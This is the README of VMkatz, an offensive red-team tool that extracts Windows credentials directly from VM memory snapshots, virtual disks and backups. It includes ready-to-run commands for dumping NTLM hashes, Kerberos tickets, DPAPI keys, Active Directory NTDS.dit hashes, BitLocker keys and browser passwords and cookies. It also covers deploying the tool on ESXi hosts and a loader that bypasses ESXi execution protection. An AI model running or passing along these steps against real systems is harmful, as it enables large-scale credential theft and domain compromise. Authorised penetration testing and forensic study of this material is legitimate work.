VMkatz

Too Big to Steal

You are three weeks into a red team engagement. You land on a NAS attached to the virtualization cluster — hundreds of gigabytes of .vmdk, .vmsn, .sav sitting right there. But your link does 200 KB/s. Exfiltrating a single 100 GB disk would take six days.

VMkatz exists because you shouldn't have to exfiltrate what you can read in place. It extracts Windows credentials directly from VM files — memory snapshots, virtual disks, Veeam backups: NTLM hashes, Kerberos tickets, DPAPI master keys, LSA secrets, NTDS.dit, BitLocker keys, browser secrets.

Single static binary, ~3 MB. Drop it on the ESXi host, the Proxmox node, or the NAS. Point it at a VM folder and walk away with credentials, not disk images.

What It Extracts

From memory snapshots (LSASS)

All 9 SSP credential providers that mimikatz implements:

Provider	Data	Notes
MSV1_0	NT/LM hashes, SHA1	Physical-scan fallback for paged entries
WDigest	Plaintext passwords	Linked-list walk + .data fallback
Kerberos	AES/RC4/DES keys, tickets (.kirbi/.ccache)	AVL tree walk + ticket carving for freed sessions
TsPkg	Plaintext passwords	RDP sessions only
DPAPI	Master key cache (GUID + decrypted key)	SHA1 masterkey for offline DPAPI decrypt
SSP	Plaintext credentials	SspCredentialList in msv1_0.dll
LiveSSP	Plaintext credentials	Requires livessp.dll (rare post-Win8)
Credman	Stored credentials	Hash-table + single-list enumeration
CloudAP	Azure AD tokens	Typically empty for local-only logon

Plus: BitLocker FVEK extraction from memory (pool tag scan for FVEc/Cngb).

From virtual disks (offline)

• SAM hashes: Local account NT/LM hashes with account status (disabled, blank password)
• LSA secrets: Service account passwords, auto-logon credentials, machine account keys
• Cached domain credentials: DCC2 hashes (last N domain logons)
• DPAPI master keys: Hashcat-ready hashes ($DPAPImk$ — modes 15300/15310/15900/15910)
• NTDS.dit: Full Active Directory hash extraction from domain controller disks (native ESE parser)
• BitLocker decryption: Transparent disk decryption using FVEK extracted from memory

Supported Inputs

Format	Extensions	Source	Status
VMware snapshots	.vmsn + .vmem	Workstation, ESXi	Tested
VMware embedded snapshots	.vmsn (no .vmem)	ESXi suspend	Tested
VirtualBox saved states	.sav	VirtualBox	Tested
QEMU/KVM savevm states	auto-detected	Proxmox, QEMU	Tested
QEMU/KVM ELF core dumps	.elf	virsh dump	Tested
Hyper-V saved states	.vmrs	Hyper-V 2016+	Tested
Veeam backups	.vbk, .vib, .vrb	Veeam B&R	Tested
VMware virtual disks	.vmdk (sparse + flat)	Workstation, ESXi	Tested
VirtualBox virtual disks	.vdi	VirtualBox	Tested
QEMU/KVM virtual disks	.qcow2	QEMU, Proxmox	Tested
Hyper-V virtual disks	.vhdx, .vhd	Hyper-V	Tested
VMFS-5/6 raw SCSI devices	/dev/disks/...	ESXi (bypasses file locks)	Tested
LVM block devices	/dev/...	Proxmox LVM-thin	Tested
Raw registry hives	SAM, SYSTEM, SECURITY	reg save	Tested
Raw NTDS.dit	ntds.dit + SYSTEM	Domain controller	Tested
LSASS minidump	.dmp	procdump, Task Manager	Tested
VM directories	any folder	Auto-discovers all files	Tested

Target OS: Windows Server 2003 through Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).

Quick Start

# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn

# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn

# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk

# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2

# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/

# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY

# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn

# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn        # .kirbi files
./vmkatz --ccache snapshot.vmsn       # .ccache file

# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn

# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/

# Parse LSASS minidump
./vmkatz lsass.dmp

# Extract from Hyper-V saved state
./vmkatz guest.vmrs

# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk               # List disk images
./vmkatz --veeam-extract backup.vbk            # Extract raw disk

Output Formats

Format	Flag	Description
text	--format text (default)	Full credential dump with session metadata
brief	--format brief	Compact one-line-per-credential summary
ntlm	--format ntlm	DOMAIN\user:::hash::: pwdump format
hashcat	--format hashcat	Raw hashes: mode 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI)
csv	--format csv	Machine-readable, all fields

Deployment on ESXi

# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl

# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn

When VIB protection (execInstalledOnly) is enabled, use the Python loader — no need to disable the setting:

scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn

See docs/esxi.md for VIB bypass details, VMFS raw device access, and auto-discovery.

Build Features

VMkatz is modular. Features can be enabled/disabled at compile time:

Feature	Description	Default
vmware	VMware .vmsn/.vmem snapshot support	Yes
vbox	VirtualBox .sav saved-state support	Yes
qemu	QEMU/KVM ELF core dumps + Proxmox savevm	Yes
hyperv	Hyper-V .vmrs/.bin/.raw dump support	Yes
sam	Disk extraction (SAM/LSA/DCC2) + disk format handlers	Yes
ntds.dit	NTDS.dit AD extraction. Requires sam	Yes
carve	Degraded extraction from partial/truncated memory	Yes
dump	Process memory dump as minidump	Yes
vmfs	VMFS-5/6 raw parser for ESXi SCSI devices. Requires sam	Yes
chrome	Browser secrets extraction (Chromium + Firefox). Requires sam	No
veeam	Veeam VBK/VIB/VRB backup support. Requires sam	No

cargo build --release                                              # Full build
cargo build --release --no-default-features --features vmware      # VMware only
cargo build --release --no-default-features --features "sam ntds.dit"  # Disk only
cargo build --release --features chrome                            # Add chrome module
cargo build --release --features veeam                             # Add Veeam backup support

Browser secrets (experimental)

The optional chrome module extracts saved passwords, cookies, and autofill from Chromium-family browsers (Chrome, Edge, Brave, Vivaldi, Opera) via offline DPAPI decryption. Build with --features chrome, enable with --chrome.

Supports Chrome v10 (os_crypt.encrypted_key) and v20 App-Bound Encryption (Chrome ≥127). Works from disk, memory+disk (hybrid), or both combined.

./vmkatz --chrome disk.vmdk                              # Disk-only
./vmkatz --chrome --chrome-password vagrant disk.vmdk    # With extra password
./vmkatz --chrome --disk disk.vmdk snapshot.vmsn         # Hybrid mem+disk
./vmkatz --chrome --chrome-json disk.vmdk                # JSON output

For domain users (whose credentials aren't in the local SAM), use --chrome-password with a known plaintext or --chrome-nthash with an NT hash to unlock their browser secrets.

Documentation

• ESXi deployment, VIB bypass, VMFS raw access
• Example output
• Architecture and module layout
• Tested targets and known limitations

Acknowledgements

• mimikatz by Benjamin Delpy (@gentilkiwi) -- the definitive reference for LSASS internals and Windows credential decryption.
• pypykatz by Tamás Jós (@skelsec) -- pure Python mimikatz reimplementation, used as cross-reference for SAM/LSA/DCC2 extraction.
• Impacket by Fortra (originally Alberto Solino @agsolino) -- reference implementation for NTDS.dit extraction and the pwdump output format.
• Vergilius Project -- documented Windows kernel structures used to verify EPROCESS field offsets across all supported builds (XP through Win11 24H2).
• dissect.vmfs by Fox-IT (NCC Group) -- Python VMFS parser from the Dissect DFIR framework, used as reference for VMFS on-disk structures.
• vmfs-tools by Mike Hommey -- open-source VMFS3/5 implementation that documents core on-disk structures and address types.
• volatility-kerberos by Sylvain Peyrefitte (@citronneur, Airbus CERT) -- Volatility 3 Kerberos plugin, inspired the ticket carving approach for recovering orphaned tickets from freed LSASS memory.
• ChromeKatz by Meckazin -- reference for in-process cookie struct layouts.
• Chrome-App-Bound-Encryption-Decryption by xaitax -- reference for the Chrome v20 App-Bound Encryption format.